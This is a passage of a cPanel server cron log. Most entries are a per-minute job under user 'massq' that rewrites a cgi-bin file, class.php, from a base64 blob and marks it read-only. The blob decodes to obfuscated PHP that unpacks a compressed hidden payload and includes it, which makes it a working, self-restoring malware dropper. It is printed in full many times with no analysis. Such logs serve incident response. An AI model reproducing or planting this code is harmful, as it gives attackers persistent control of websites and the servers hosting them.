cvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:25:01 server CROND[484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:26:01 server CROND[606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:27:01 server CROND[679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:27:01 server CROND[680]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 17:28:01 server CROND[746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:29:01 server CROND[807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:30:01 server CROND[959]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:30:01 server CROND[960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:30:01 server CROND[962]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:30:01 server CROND[963]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 17:31:01 server CROND[1076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:32:01 server CROND[1150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:33:01 server CROND[1211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:34:01 server CROND[1273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:35:01 server CROND[1348]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:35:01 server CROND[1350]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 17:35:01 server CROND[1351]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 17:35:01 server CROND[1353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:35:01 server CROND[1352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:36:01 server CROND[1483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:37:01 server CROND[1645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:38:01 server CROND[1708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:39:01 server CROND[1782]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 17:39:01 server CROND[1784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1Z